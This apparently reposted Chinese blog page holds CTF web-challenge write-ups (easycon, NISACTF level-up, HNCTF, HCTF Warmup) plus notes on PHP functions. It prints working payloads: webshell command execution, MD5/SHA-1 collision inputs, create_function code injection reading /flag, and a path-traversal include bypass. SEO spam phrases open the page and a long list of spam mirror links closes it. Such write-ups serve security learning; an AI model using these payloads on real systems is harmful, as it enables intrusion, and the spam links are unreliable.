网站刷链接怎么做的,网站的建设需要虚拟机吗,h5网站价格方案,商派商城网站建设方案[羊城杯 2020]easycon 进来以后就是一个默认测试页面#xff0c; 在这种默认界面里#xff0c;我觉得一般不会有什么注入点之类的#xff0c;所以这里先选择用御剑扫扫目录看看有没有什么存在关键信息的页面 扫了一半发现#xff0c;很多都是和index.php文件有关#xff0…[羊城杯 2020]easycon 进来以后就是一个默认测试页面 在这种默认界面里我觉得一般不会有什么注入点之类的所以这里先选择用御剑扫扫目录看看有没有什么存在关键信息的页面 扫了一半发现很多都是和index.php文件有关这里选择查看该文件 访问以后发现是一个弹窗 这个弹窗和一句话木马很像从其中的话分析弹窗的三个单词可以大致推测出eval命令执行函数post传参方式cmd命令格式。这里的话考虑两个方向一个是一句话木马看看能不能和蚁剑连接第二种思路的话以post传参的格式 使用RCE。 思路一 确实能连接那么这里选择看看文件信息先 遍历了一下目录发现没有直接和flag有关的文件但是发现了一个可疑文件即bbbbbbbbb.txt 从这个头文件信息其实大概就能猜到是base64转图片了,同时看到开头的/9j/根据经验是base64编码转图片并且头部缺少内容data:image/jpg;base64, 找一个base64在线转图片的网站加上缺少的内容进行转换得到带有flag的图片 就得到了flag 思路二 直接执行命令,post传参
cmdsystem(ls);
tac命令查看那个文件 也可以获得目标文件信息可通过同样方式解码获得关键flag信息
[NISACTF 2022]level-up
在初始界面中没有发现什么有用的信息 看看源代码 发现提示有Disallow指令说明有robots.txt文件直接访问看看\ 发现有提示文件信息再进入 开始代码审计 error_reporting(0);该语句关闭了 PHP 的错误报告这意味着即使代码存在错误也不会将错误信息输出到页面上。这是一种常见的安全做法但它可能会隐藏潜在的问题。比如格式不对那些信息会提示 include str.php;这行代码尝试包含名为 str.php 的外部文件。这意味着脚本依赖于 str.php 文件中的一些功能或变量。 if (isset($_POST[array1]) isset($_POST[array2])){检查是否接收到了名为 array1 和 array2 的 POST 请求参数。如果两者都存在则执行以下代码块。 $a1 (string)$_POST[array1]; 和 $a2 (string)$_POST[array2];将接收到的 POST 请求参数转换为字符串并分别赋值给变量 $a1 和 $a2。 if ($a1 $a2){ die(????); }检查 $a1 和 $a2 是否相等。如果相等则输出 ???? 并终止脚本执行。这是一个奇怪的逻辑因为即使相等也会导致脚本终止可能是为了防止特定的情况发生。 if (md5($a1) md5($a2)){ echo $level3; }使用 MD5 哈希算法比较 $a1 和 $a2 的哈希值是否相等。如果相等则输出变量 $level3 的值。这表明如果两个字符串经过 MD5 哈希后相等就会显示 $level3 的内容。 else{ die(level 2 failed ...); }如果以上两个条件都不满足则输出 level 2 failed ... 并终止脚本执行。 else{ show_source(__FILE__); }如果没有接收到名为 array1 和 array2 的 POST 请求参数则显示当前文件的源代码。这是一种用于调试和了解脚本内容的方法但也可能会暴露代码逻辑和潜在的安全问题。 这里是典型的md5类型题目但是这里存在的问题是因为这里是强匹配加字符型所以0e和[]都不行这里要用到md5真正一样的字符串
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
他们的md5值相同都是
008ee33a9d58b51cfeb425b0959121c9
因为里面有不可见字符所以这里选择用url编码输出不可见字符
payload
array1M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2array2M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2得到Level___3.php 这个的话和前一个代码绕过有点像
但是是sha1的强碰撞
payload
array1%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1array2%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
得到了level_level_4.php 这里涉及到一个知识点就是parse_url函数的使用后面会一起整理简单来说就是请求url并且解析url的各个部分然后呢get传参存在的问题呢就是有一个正则过滤掉了参数里面的_,但是我们可以用号或者[来绕过
进入55_5_55.php 这里的关键呢就是
if(preg_match(/^[a-z0-9_]*$/isD,$a)) 使用正则表达式检查变量 $a 中的值是否仅包含小写字母、数字和下划线并且不区分大小写。如果匹配成功则执行下面的代码块。/i 不区分大小写/s匹配任何不可见字符/D如果以$限制结尾字符则不允许结尾有换行。
/^[a-z0-9_]*$/isD 是一个正则表达式模式含义是从字符串的开头 ^ 到结尾 $匹配任意数量的小写字母、数字和下划线且不区分大小写i 标志并且 D 表示模式中没有用到多行模式。
这里我也不会看了其他师傅的wp才发现要用create_function()函数来处理 $a在else里面可以使用create_function来创建一个匿名函数用/*来注释掉后面的代码最后的payload
大概了解之后呢就有多种解法了
解法一:
?a\create_functionb}system(cat /f*); /*
create,第一个\绕过正则}闭合create_function这样就可以进行我们想执行的代码
后面的/*是为了把原本的}符号给注释掉这样就执行了system(cat /f*)函数,这里的*号是通配符相当于可以查找所有以f开头的文件 解法二:
?a\create_functionb}var_dump(file_get_contents(/flag));/*
这里跟上面不一样的一点是这里使用了其他两个函数这里用的是var_dump打印函数和file_get_contents函数一起使用来显示/flag中的内容file_get_contents()读取文件的内容并返回其内容作为字符串
与解法一稍微不同的一点是这里的对于flag文件的查看不能使用通配符因为读取文件内容的特性比较特定若使用通配符会导致无法准确读取因此在得出改payload之前还通过了scandir命令来读取了根目录的内容锁定了flag文件的名称才得出了该payload
[HNCTF 2022 Week1]What is Web
web学习的思路推荐
因为题目标签给了源码泄露所以根据经验尝试在源码里面找一找有没有注释给了相关的提示眼搓了一下没有特别明显的信息所以筛选!看看,定位到了这里
解码得到flag
[HNCTF 2022 Week1]Interesting_http
题目中带有http猜测与http协议有关
用post传参直接传want没用那这里的want应该是参数成功进入下一个页面这里又给了提示
替换一下1试试看,提示不是admin 抓包看看 发现这个信息是在cookie头里面改掉 得到回显要本地改一下xff 得到了flag
[HCTF 2018]Warmup 打开就是一张图片看看源码发现有隐藏文件 还是代码审计 大概意思呢就是定义了一个名为emmm的类在该类中有一个静态方法checkFile用于检查要包含的文件是否在白名单中白名单是一个关联数组$whitelist其中包含了允许包含的文件的键值对。 在代码中允许包含的文件有sourcesource.php和hinthint.php。白名单 然后这个mb_substr函数我也不清楚查了资料以后大概了解了然后里面还插了一个mb_strpos这个mb_strpos函数嵌套在了mb_substr函数中准确说并不叫嵌套而是将返回值作为了它的一个参数。
说明符号点 . 是 PHP 中的字符串连接运算符它用于将两个字符串连接在一起形成一个更长的字符串。在这里它将 $page 变量的值和一个问号字符 ? 连接在一起形成一个新的字符串在这个新的字符串中查找问号是否存在。 也就是说 in_array() 函数的第三个参数length肯定为正数又因为in_array() 函数的第二个参数start为0因此会在字符串中的第一个字符处开始按照length长度进行截取重新赋值给page。 然后后面就是一直绕白名单验证白名单 先尝试包含hint.php 得到了回显 则尝试传入?filehint.php?ffffllllaaaagggg发现最底下什么都没有出现说明传入的方式和格式没问题不然会出现别的或者那个笑脸图。猜测可能有后缀尝试txt、php等后缀没有变化说明路径可能有问题。后面才发现我们始终是在source.php页面下进行的传参操作目的是利用include函数将flag文件包含出来所以也就是说这个文件根本不在白名单里面所以是无法通过验证得到的考虑路径问题的话按结构来说source.php应该是在html目录下往上应该还要有wwwvar根目录返回一下看看 得到了flag这里其实四个就够因为四个就能返回到根目录但是返回到根目录以后就无法再往上返回所以会停留在根目录
知识点
RCE远程代码执行漏洞 因为应用系统给了用户提供指定的远程命令的操作常见的比如路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面用户通过从这些界面输入目标IP提交后后台会对该IP地址进行一次ping测试并返回测试结果。 因此如果设计者在完成该功能时没有做严格的安全控制则可能会导致攻击者通过该接口提交的命令会反过来控制应用系统当它们在后台进行执行时甚至会控制整个后台服务器。常见常用的函数
还有代码执行函数
eval()将字符串作为php代码执行
assert()将字符串作为php代码执行
preg_replace()正则匹配替换字符串
create_function()主要创建匿名函数
call_user_func()回调函数第一个参数为函数名第二个参数为函数的参数
call_user_func_array()回调函数第一个参数为函数名第二个参数为函数参数的数组
可变函数若变量后有括号该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行
Disallow指令 Disallow 是指一个文件或目录的指令用于告诉搜索引擎不要访问或抓取这些内容。这通常在 robots.txt 文件中使用该文件位于网站的根目录下它告诉搜索引擎哪些页面可以访问哪些页面应该被忽略。
例如如果一个网站有一个包含私人信息的目录如 /private但不希望搜索引擎抓取这个目录下的内容就可以在 robots.txt 文件中使用 Disallow 指令来限制访问如下所示 User-agent: *
Disallow: /private/在leve-up那题里面也有具体展示
parse_url函数 parse_url() 函数是 PHP 中用于解析 URLUniform Resource Locator的内置函数。它将一个完整的 URL 字符串解析成各个组成部分并返回一个关联数组其中包含了 URL 的各个部分信息。
下面是 parse_url() 函数的基本语法
php
parse_url(string $url [, int $component -1 ] ) : mixed
$url需要解析的 URL 字符串。$component可选一个可选的整数参数用于指定需要返回的 URL 组件。默认值为 -1表示返回包含所有组件信息的关联数组。如果提供了指定的组件常量函数将只返回该组件的值。可以使用以下常量 PHP_URL_SCHEMEURL 协议例如 http、https。PHP_URL_HOST主机名。PHP_URL_PORT端口号。PHP_URL_USER用户名。PHP_URL_PASS密码。PHP_URL_PATH路径部分。PHP_URL_QUERY查询字符串。PHP_URL_FRAGMENT片段标识符即 URL 中的 # 后面的部分。
parse_url() 函数解析 URL 字符串后返回一个关联数组其中包含了 URL 的各个组成部分的信息。根据提供的 URL可以使用该数组访问各个部分的值。例如 $url https://www.example.com/path/to/page?param1value1param2value2#section;$url_components parse_url($url);echo $url_components[scheme]; // 输出https
echo $url_components[host]; // 输出www.example.com
echo $url_components[path]; // 输出/path/to/page
echo $url_components[query]; // 输出param1value1param2value2
echo $url_components[fragment]; // 输出section通过 parse_url() 函数可以方便地从 URL 字符串中提取出各个部分的信息以便进行处理和操作。
create_function()函数 create_function() 函数是 PHP 中的一个过时函数用于动态创建匿名函数Anonymous Functions。它接受两个参数参数字符串和函数体字符串然后返回一个匿名函数。该函数被用于在 PHP 5.3 之前创建匿名函数但自 PHP 7.2.0 起已被废弃因为它的使用存在一些潜在的安全风险和性能问题
下面是 create_function() 函数的基本语法
create_function(string $args, string $code) : callable|false
$args一个字符串表示匿名函数的参数列表以逗号分隔例如 ($arg1, $arg2)。$code一个字符串表示匿名函数的函数体即函数的具体实现代码。
create_function() 函数会返回一个匿名函数或者在出现错误时返回 false。 举个例子这里使用 create_function() 函数创建了一个匿名函数并将其赋值给变量 $add该函数实现了两个数相加的功能
$add create_function($a, $b, return $a $b;);
echo $add(2, 3); // 输出5var_dump打印函数
var_dump() 是 PHP 中用于打印变量信息的函数之一。它的作用是将一个或多个变量的信息输出到屏幕上包括变量的数据类型和值并且可以显示变量的结构对于调试和查看变量内容非常有用。
下面是 var_dump() 函数的基本语法
var_dump(mixed $expression [, mixed $... ] ) : void
$expression需要打印的变量或表达式。mixed表示可以接受任意类型的参数。
var_dump() 函数会打印出变量的信息包括变量的类型和值。具体打印的内容包括
对于标量如整数、浮点数、字符串等打印出变量的类型和值。对于数组打印出数组的类型、元素个数以及每个元素的键和值。对于对象打印出对象的类型、类名、属性个数以及每个属性的名称和值。对于其他类型的变量如 NULL、资源等打印出变量的类型。 var_dump() 函数的输出比较详细包含了变量的类型和值以及其他相关信息对于调试和查看变量内容非常有帮助
file_get_contents函数
file_get_contents() 函数是 PHP 中用于读取文件内容的内置函数之一。它用于将整个文件的内容读取到一个字符串中并返回该字符串。
下面是 file_get_contents() 函数的基本语法
file_get_contents(string $filename [, bool $use_include_path FALSE [, resource $context [, int $offset -1 [, int $maxlen NULL ]]]]) : string|false
$filename需要读取的文件名可以是本地文件路径或者是一个 URL。$use_include_path可选一个布尔值表示是否使用 include_path 来搜索文件。默认为 FALSE表示不使用 include_path。$context可选一个可选的资源类型的上下文参数用于设置各种流传输选项或者上下文参数。$offset可选一个可选的整数参数用于设置读取文件时的偏移量以字节为单位。默认为 -1表示从文件的开头开始读取。$maxlen可选一个可选的整数参数用于设置最大读取的字节数。默认为 NULL表示读取整个文件。
file_get_contents() 函数会将指定文件的内容读取到一个字符串中并返回该字符串如果读取失败则返回 FALSE。 其中除了本地文件之外file_get_contents() 函数还可以用于读取远程文件例如网站上的一个 URL。但是当file_get_contents() 函数在读取远程文件时需要启用 allow_url_fopen 选项。默认情况下这个选项是开启的但在某些环境中可能被禁用。因此在level-5的使用中实际上是先看了phpinfo的那个是不是allow才使用的这个函数。另外对于大型文件使用 file_get_contents() 会将整个文件加载到内存中可能会消耗大量内存因此在处理大型文件时需要谨慎使用。
substr()、strpos() 和in_array()函数 mb_strpos和strpossubstr和mb_substr在功能上几乎没什么区别
strpos(string,find,start)函数
返回字符串在另一字符串中第一次出现的位置如果没有找到字符串则返回 FALSE。注意 字符串位置是从 0 开始不是从 1 开始。 参数 描述 string 必需。规定被搜索的字符串。 find 必需。规定要查找的字符。 start 可选。规定开始搜索的位置。
mb_substr(str,start,length,encoding) 函数
返回字符串的一部分对于substr() 函数它只针对英文字符 而mb_substr()对于中文也适用。 参数 描述 str 必需。从该 string 中提取子字符串。 start 必需。规定在字符串的何处开始。 正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾的指定位置开始 0 - 在字符串中的第一个字符处开始
length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。 正数 - 从 start 参数所在的位置返回 负数 - 从字符串末端返回
encoding 可选。字符编码。如果省略则使用内部字符编码。
in_array(search,array,type)函数
搜索数组中是否存在指定的值找到值则返回 TRUE否则返回 FALSE。 参数 描述 search 必需。规定要在数组搜索的值。 array 必需。规定要搜索的数组。 type 可选。如果设置该参数为 true则检查搜索的数据与数组的值的类型是否相同。 if (in_array($_page, $whitelist)) { return true; } 文章转载自: http://www.morning.hhpkb.cn.gov.cn.hhpkb.cn http://www.morning.pxwzk.cn.gov.cn.pxwzk.cn http://www.morning.nytqy.cn.gov.cn.nytqy.cn http://www.morning.hwcln.cn.gov.cn.hwcln.cn http://www.morning.lhwlp.cn.gov.cn.lhwlp.cn http://www.morning.lfdzr.cn.gov.cn.lfdzr.cn http://www.morning.wqmpd.cn.gov.cn.wqmpd.cn http://www.morning.wsxxq.cn.gov.cn.wsxxq.cn http://www.morning.beeice.com.gov.cn.beeice.com http://www.morning.rcmcw.cn.gov.cn.rcmcw.cn http://www.morning.fkgqn.cn.gov.cn.fkgqn.cn http://www.morning.rwfp.cn.gov.cn.rwfp.cn http://www.morning.xckrj.cn.gov.cn.xckrj.cn http://www.morning.zxhpx.cn.gov.cn.zxhpx.cn http://www.morning.xinxianzhi005.com.gov.cn.xinxianzhi005.com http://www.morning.bnxnq.cn.gov.cn.bnxnq.cn http://www.morning.qbfwb.cn.gov.cn.qbfwb.cn http://www.morning.rppf.cn.gov.cn.rppf.cn http://www.morning.fmkbk.cn.gov.cn.fmkbk.cn http://www.morning.lxqkt.cn.gov.cn.lxqkt.cn http://www.morning.hqwtm.cn.gov.cn.hqwtm.cn http://www.morning.rmkyb.cn.gov.cn.rmkyb.cn http://www.morning.ktskc.cn.gov.cn.ktskc.cn http://www.morning.mghgl.cn.gov.cn.mghgl.cn http://www.morning.fllfz.cn.gov.cn.fllfz.cn http://www.morning.rjqtq.cn.gov.cn.rjqtq.cn http://www.morning.yqqgp.cn.gov.cn.yqqgp.cn http://www.morning.mgtmm.cn.gov.cn.mgtmm.cn http://www.morning.gqddl.cn.gov.cn.gqddl.cn http://www.morning.zcwtl.cn.gov.cn.zcwtl.cn http://www.morning.mbpfk.cn.gov.cn.mbpfk.cn http://www.morning.ailvturv.com.gov.cn.ailvturv.com http://www.morning.lgnrl.cn.gov.cn.lgnrl.cn http://www.morning.zfcfk.cn.gov.cn.zfcfk.cn http://www.morning.bpmtj.cn.gov.cn.bpmtj.cn http://www.morning.tsyny.cn.gov.cn.tsyny.cn http://www.morning.nwfxp.cn.gov.cn.nwfxp.cn http://www.morning.ftnhr.cn.gov.cn.ftnhr.cn http://www.morning.qkdjq.cn.gov.cn.qkdjq.cn http://www.morning.fdlyh.cn.gov.cn.fdlyh.cn http://www.morning.glkhx.cn.gov.cn.glkhx.cn http://www.morning.fglyb.cn.gov.cn.fglyb.cn http://www.morning.jtnph.cn.gov.cn.jtnph.cn http://www.morning.xhpnp.cn.gov.cn.xhpnp.cn http://www.morning.tklqs.cn.gov.cn.tklqs.cn http://www.morning.rrxnz.cn.gov.cn.rrxnz.cn http://www.morning.yuminfo.com.gov.cn.yuminfo.com http://www.morning.rbzd.cn.gov.cn.rbzd.cn http://www.morning.dybth.cn.gov.cn.dybth.cn http://www.morning.gygfx.cn.gov.cn.gygfx.cn http://www.morning.nmwgd.cn.gov.cn.nmwgd.cn http://www.morning.ghzfx.cn.gov.cn.ghzfx.cn http://www.morning.qkdbz.cn.gov.cn.qkdbz.cn http://www.morning.rfljb.cn.gov.cn.rfljb.cn http://www.morning.tqgmd.cn.gov.cn.tqgmd.cn http://www.morning.xuejitest.com.gov.cn.xuejitest.com http://www.morning.lzbut.cn.gov.cn.lzbut.cn http://www.morning.krzrg.cn.gov.cn.krzrg.cn http://www.morning.sjsks.cn.gov.cn.sjsks.cn http://www.morning.ygrkg.cn.gov.cn.ygrkg.cn http://www.morning.qxlxs.cn.gov.cn.qxlxs.cn http://www.morning.rylr.cn.gov.cn.rylr.cn http://www.morning.kqqk.cn.gov.cn.kqqk.cn http://www.morning.gkfwp.cn.gov.cn.gkfwp.cn http://www.morning.jtsdk.cn.gov.cn.jtsdk.cn http://www.morning.rjqtq.cn.gov.cn.rjqtq.cn http://www.morning.gthwr.cn.gov.cn.gthwr.cn http://www.morning.dpsgq.cn.gov.cn.dpsgq.cn http://www.morning.dhtdl.cn.gov.cn.dhtdl.cn http://www.morning.cpgdy.cn.gov.cn.cpgdy.cn http://www.morning.lkhfm.cn.gov.cn.lkhfm.cn http://www.morning.nzms.cn.gov.cn.nzms.cn http://www.morning.phtqr.cn.gov.cn.phtqr.cn http://www.morning.hjlsll.com.gov.cn.hjlsll.com http://www.morning.kpcxj.cn.gov.cn.kpcxj.cn http://www.morning.zrlms.cn.gov.cn.zrlms.cn http://www.morning.lynb.cn.gov.cn.lynb.cn http://www.morning.qptbn.cn.gov.cn.qptbn.cn http://www.morning.gbqgr.cn.gov.cn.gbqgr.cn http://www.morning.cnprt.cn.gov.cn.cnprt.cn